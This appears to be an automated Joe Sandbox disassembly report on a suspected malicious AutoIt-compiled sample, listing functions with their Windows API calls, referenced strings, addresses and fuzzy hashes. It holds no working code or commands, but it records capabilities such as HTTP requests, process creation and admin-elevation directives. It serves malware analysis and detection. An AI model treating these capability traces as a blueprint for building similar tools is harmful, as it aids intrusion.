Opcode ID: b4af81b1ddc4968bd0f79cd10d5f0c44f1160a1528fd0e358bf02ff7ce68ed49
Instruction ID: 04dbe636cf8e561c7d453acd2a8e7893e6bc889a1034b387f0f490ce66d3a86b
Opcode Fuzzy Hash: b4af81b1ddc4968bd0f79cd10d5f0c44f1160a1528fd0e358bf02ff7ce68ed49
Instruction Fuzzy Hash: B1E19B716087018FCB14DF24C45092BB7E2BF98354F148A5DF89A9B3A2DB39ED45CB92

Function 0075C998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0075B6AE,?,?), ref: 0075C9B5
_wcslen.LIBCMT ref: 0075C9F1
_wcslen.LIBCMT ref: 0075CA68
_wcslen.LIBCMT ref: 0075CA9E
_wcslen.LIBCMT ref: 0075CAF9
_wcslen.LIBCMT ref: 0075CB2F
_wcslen.LIBCMT ref: 0075CB7F

Strings

HKU, xrefs: 0075CBF0
HKEY_CURRENT_CONFIG, xrefs: 0075CB79, 0075CB7E
HKCC, xrefs: 0075CBAC
HKEY_CLASSES_ROOT, xrefs: 0075CAF3, 0075CAF8
HKEY_USERS, xrefs: 0075CBDF
HKLM, xrefs: 0075CA98, 0075CA9D
HKEY_LOCAL_MACHINE, xrefs: 0075CA62, 0075CA67
HKCR, xrefs: 0075CB29, 0075CB2E
HKCU, xrefs: 0075CBCE
HKEY_CURRENT_USER, xrefs: 0075CBBD

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: de7dfea91e7efa3be898fd113bfdd0781fe4e29cbb1a4b5c8a086a0451928232
Instruction ID: f87b5bd4aac68ed4e85dc9caf4e280d90faeda04030946cff4c211237e982e9c
Opcode Fuzzy Hash: de7dfea91e7efa3be898fd113bfdd0781fe4e29cbb1a4b5c8a086a0451928232
Instruction Fuzzy Hash: 2171163260036A8FCF22DE7CCD417FB37929B61751B244528FC56A7284EAB9CD48C3A4

Function 0076833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0076835A
_wcslen.LIBCMT ref: 0076836E
_wcslen.LIBCMT ref: 00768391
_wcslen.LIBCMT ref: 007683B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 007683F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00765BF2), ref: 0076844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00768487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 007684CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00768501
FreeLibrary.KERNEL32(?), ref: 0076850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0076851D
DestroyIcon.USER32(?,?,?,?,?,00765BF2), ref: 0076852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00768549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00768555

Strings

.dll, xrefs: 007683AB
.exe, xrefs: 00768388
.icl, xrefs: 00768368

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: d1ff607b6ce1307a88a1248954ea99055940d1b6e9293a6d181f2625c7cc5108
Instruction ID: 9ed7bf26ed66169a14c575a7095c0dc1af235f3b816747f53ebc24dd89417597
Opcode Fuzzy Hash: d1ff607b6ce1307a88a1248954ea99055940d1b6e9293a6d181f2625c7cc5108
Instruction Fuzzy Hash: E861D171540219BAEB54DF64CC41BBF7BA8FB04711F10860AFD16D61D1DFB8AA50C7A4

Function 006D7778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#notrayicon, xrefs: 006D77E7
#comments-start, xrefs: 006D785F, 006D78B1
#OnAutoItStartRegister, xrefs: 006D7817
#ce, xrefs: 006D78ED
#cs, xrefs: 006D7873, 006D78C5
#include, xrefs: 006D7847
', xrefs: 00715169
Bad directive syntax error, xrefs: 0071519A
Unterminated group of comments, xrefs: 0071528C
#requireadmin, xrefs: 006D77FF
#comments-end, xrefs: 006D78D9
#pragma compile, xrefs: 006D77D3
Cannot parse #include, xrefs: 00715279
", xrefs: 00715153
#include-once, xrefs: 006D782F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 80c22b7a6efac1551a8dd06e7b7b69bfecbb8794799df90a28080f5ca0e33a0a
Instruction ID: 38c1538164f9b5bcfe7b821dc5538857447e3ed4f05df522a62635104860f13a
Opcode Fuzzy Hash: 80c22b7a6efac1551a8dd06e7b7b69bfecbb8794799df90a28080f5ca0e33a0a
Instruction Fuzzy Hash: 978119B1A00209BBDB25AF64DC42FFE3766AF55300F04442AF905AB292FB74D941D7A5

Function 00735A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00735A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00735A40
SetWindowTextW.USER32(?,?), ref: 00735A57
GetDlgItem.USER32(?,000003EA), ref: 00735A6C
SetWindowTextW.USER32(00000000,?), ref: 00735A72
GetDlgItem.USER32(?,000003E9), ref: 00735A82
SetWindowTextW.USER32(00000000,?), ref: 00735A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00735AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00735AC3
GetWindowRect.USER32(?,?), ref: 00735ACC
_wcslen.LIBCMT ref: 00735B33
SetWindowTextW.USER32(?,?), ref: 00735B6F
GetDesktopWindow.USER32 ref: 00735B75
GetWindowRect.USER32(00000000), ref: 00735B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00735BD3
GetClientRect.USER32(?,?), ref: 00735BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00735C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00735C2F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: bd7462111b9fd9440a9b398c3dd00e82ef9826fbbcf745ab37f591e42f29a42c
Instruction ID: e5fc60b5c4976b6e09ffbd9301ec72b4a315fc50e295a05c331f14811f42206d
Opcode Fuzzy Hash: bd7462111b9fd9440a9b398c3dd00e82ef9826fbbcf745ab37f591e42f29a42c
Instruction Fuzzy Hash: 79718E71900B09EFEB21DFA8CE85BAEBBF5FF48704F104518E582A25A1D779E940CB54

Function 007330F7 Relevance: 26.6, APIs: 8, Strings: 7, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0073318D
_wcslen.LIBCMT ref: 007331F8

Strings

CLASS, xrefs: 00733188, 007331A5
REGEXPCLASS, xrefs: 00733255, 00733266
NAME, xrefs: 00733335, 00733346
TEXT, xrefs: 0073347C
CLASSNN, xrefs: 007331F3, 00733204
[y, xrefs: 0073339A
INSTANCE, xrefs: 00733453

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT$[y
API String ID: 176396367-3387399910
Opcode ID: 98a7ece8accede00da7a48507520c300edbb011be0d88278d20f48b12fde8959
Instruction ID: 040b674cb789fe72fafa46d0a0cce46a2112abe4a959f54d375696d2b52a7210
Opcode Fuzzy Hash: 98a7ece8accede00da7a48507520c300edbb011be0d88278d20f48b12fde8959
Instruction Fuzzy Hash: 0FE1E632A005269BEF359FB8C4516FEFBB1BF44710F54812AE456E7242DB38AE4587D0

Function 006F00C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 006F00C6

Part of subcall function 006F00ED: InitializeCriticalSectionAndSpinCount.KERNEL32(007A070C,00000FA0,B85C0925,?,?,?,?,007123B3,000000FF), ref: 006F011C
Part of subcall function 006F00ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,007123B3,000000FF), ref: 006F0127
Part of subcall function 006F00ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,007123B3,000000FF), ref: 006F0138
Part of subcall function 006F00ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 006F014E
Part of subcall function 006F00ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 006F015C
Part of subcall function 006F00ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 006F016A
Part of subcall function 006F00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 006F0195
Part of subcall function 006F00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 006F01A0

___scrt_fastfail.LIBCMT ref: 006F00E7

Part of subcall function 006F00A3: __onexit.LIBCMT ref: 006F00A9

Strings

kernel32.dll, xrefs: 006F0133
WakeAllConditionVariable, xrefs: 006F0162
InitializeConditionVariable, xrefs: 006F0148
SleepConditionVariableCS, xrefs: 006F0154
api-ms-win-core-synch-l1-2-0.dll, xrefs: 006F0122

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 6bd65af9ed493c8fa03855f3d70aad972db18e670e984b24461f714dbbb2fee1
Instruction ID: e24a7f522972086bf83ff5013222f03e4ca6482920ad853d092288d3f28995da
Opcode Fuzzy Hash: 6bd65af9ed493c8fa03855f3d70aad972db18e670e984b24461f714dbbb2fee1
Instruction Fuzzy Hash: D1210E726457196BFB11ABF4AC05B7A3396EB46B51F104539FD0293392DFBC6C008A98

Function 007444C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,0076CC08), ref: 00744527
_wcslen.LIBCMT ref: 0074453B
_wcslen.LIBCMT ref: 00744599
_wcslen.LIBCMT ref: 007445F4
_wcslen.LIBCMT ref: 0074463F
_wcslen.LIBCMT ref: 007446A7

Part of subcall function 006EF9F2: _wcslen.LIBCMT ref: 006EF9FD

GetDriveTypeW.KERNEL32(?,00796BF0,00000061), ref: 00744743

Strings

cdrom, xrefs: 0074458F, 00744594
unknown, xrefs: 00744708
fixed, xrefs: 00744635, 0074463A
all, xrefs: 00744531, 00744536
ramdisk, xrefs: 007446F1
network, xrefs: 0074469D, 007446A2
removable, xrefs: 007445EA, 007445EF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 2ff707f14f4fd79194ab6d13c4dbddac39cc9da941895c77acb8ac107f70ef58
Instruction ID: f34687a7da7809d218eba8213f9a73587bcce700bb4f577d60b9a33e96ab7d58
Opcode Fuzzy Hash: 2ff707f14f4fd79194ab6d13c4dbddac39cc9da941895c77acb8ac107f70ef58
Instruction Fuzzy Hash: D0B1F2716083029FC710DF28D890A7AB7E5BFA6760F504A1DF496C7291EB38D845DBA2

Function 0076911E Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006E9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 006E9BB2

DragQueryPoint.SHELL32(?,?), ref: 00769147

Part of subcall function 00767674: ClientToScreen.USER32(?,?), ref: 0076769A
Part of subcall function 00767674: GetWindowRect.USER32(?,?), ref: 00767710
Part of subcall function 00767674: PtInRect.USER32(?,?,00768B89), ref: 00767720

SendMessageW.USER32(?,000000B0,?,?), ref: 007691B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 007691BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 007691DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00769225
SendMessageW.USER32(?,000000B0,?,?), ref: 0076923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00769255
SendMessageW.USER32(?,000000B1,?,?), ref: 00769277
DragFinish.SHELL32(?), ref: 0076927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00769371

Strings

@GUI_DROPID, xrefs: 0076929E
p#z, xrefs: 007692BB
@GUI_DRAGID, xrefs: 007692E9
@GUI_DRAGFILE, xrefs: 00769320

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$p#z
API String ID: 221274066-3231298687
Opcode ID: 756ad91427686e561ccce6e17cecd414268d9a8f7f0373d83dae252c36d10f58
Instruction ID: 20594622f7e8b337e6cbfa15bc3dedc2908bf26f51c96fc560a9fcf049e175f2
Opcode Fuzzy Hash: 756ad91427686e561ccce6e17cecd414268d9a8f7f0373d83dae252c36d10f58
Instruction Fuzzy Hash: 8E619B71508301AFC701DF60DC85DAFBBE9EFC9750F00492EF596922A0DB749A09CB66

Function 0075AFF9 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0075B198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0075B1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0075B1D4
_wcslen.LIBCMT ref: 0075B200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0075B214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0075B236
_wcslen.LIBCMT ref: 0075B332

Part of subcall function 007405A7: GetStdHandle.KERNEL32(000000F6), ref: 007405C6

_wcslen.LIBCMT ref: 0075B34B
_wcslen.LIBCMT ref: 0075B366
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0075B3B6
GetLastError.KERNEL32(00000000), ref: 0075B407
CloseHandle.KERNEL32(?), ref: 0075B439
CloseHandle.KERNEL32(00000000), ref: 0075B44A
CloseHandle.KERNEL32(00000000), ref: 0075B45C
CloseHandle.KERNEL32(00000000), ref: 0075B46E
CloseHandle.KERNEL32(?), ref: 0075B4E3

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: d0b68ff7c879947a88f8e8f596d8488af06611e9f8ae9b90255fec9043e22441
Instruction ID: 8a069dc9506b9730d9e87a6e3fe8491c36a3174ce7ac5b834e27a111a506f05e
Opcode Fuzzy Hash: d0b68ff7c879947a88f8e8f596d8488af06611e9f8ae9b90255fec9043e22441
Instruction Fuzzy Hash: C7F18C31604340DFC764EF24C891B6EBBE1AF85310F14855EF8999B2A2DB75EC48CB96

Function 006D326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(007A1990), ref: 00712F8D
GetMenuItemCount.USER32(007A1990), ref: 0071303D
GetCursorPos.USER32(?), ref: 00713081
SetForegroundWindow.USER32(00000000), ref: 0071308A
TrackPopupMenuEx.USER32(007A1990,00000000,?,00000000,00000000,00000000), ref: 0071309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 007130A9

Strings

0, xrefs: 006D327D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 48c1bc70b071fdbbcfdfe5dda439fcff4eb2da154057c46928184aaa816b0f13
Instruction ID: 312b12dc30439dbbb5635d9f7e9a28ea5d2ad112ed8205ad4770f427095123e0
Opcode Fuzzy Hash: 48c1bc70b071fdbbcfdfe5dda439fcff4eb2da154057c46928184aaa816b0f13
Instruction Fuzzy Hash: FB712A70A44215BEFB218F28CC49FEABF69FF04324F204207F5156A2E1C7B9A965CB55

Function 00766CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00766DEB

Part of subcall function 006D6B57: _wcslen.LIBCMT ref: 006D6B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00766E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00766E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00766E94
DestroyWindow.USER32(?), ref: 00766EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,006D0000,00000000), ref: 00766EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00766EFD
GetDesktopWindow.USER32 ref: 00766F16
GetWindowRect.USER32(00000000), ref: 00766F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00766F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00766F4D

Part of subcall function 006E9944: GetWindowLongW.USER32(?,000000EB), ref: 006E9952

Strings

0, xrefs: 00766D98
tooltips_class32, xrefs: 00766E58, 00766EDD

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 191b8d542b2494c2e41f250a23be50da6f5f320f2bbf34e9c88cdaa78826e270
Instruction ID: d87ebba7d47b521b59e25487d28d154e75642803ade32e3ee881fafeca5263a7
Opcode Fuzzy Hash: 191b8d542b2494c2e41f250a23be50da6f5f320f2bbf34e9c88cdaa78826e270
Instruction Fuzzy Hash: D2716674104340AFEB21CF18D844EBABBE9FB99304F84445EF99A87261C779E916CB19

Function 0074C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0074C4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0074C4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0074C4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0074C4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0074C533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0074C549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0074C554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0074C584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0074C5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0074C5F0
InternetCloseHandle.WININET(00000000), ref: 0074C5FB

Strings

, xrefs: 0074C575

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: d3eaba74513dce57d48ef928219fc7d48b4ce0d210665a889e09e64584309048
Instruction ID: c7cd51456fce75c2fe57731f67fd84d72ab91f73504c1b401c987aa4210b7f58
Opcode Fuzzy Hash: d3eaba74513dce57d48ef928219fc7d48b4ce0d210665a889e09e64584309048
Instruction Fuzzy Hash: F9518EB1501308BFDB629F65C948ABBBBFCFF08344F108419F98696210DB78E914DB60

Function 0076856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 00768592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 007685A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 007685AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 007685BA
GlobalLock.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 007685C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 007685D7
GlobalUnlock.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 007685E0
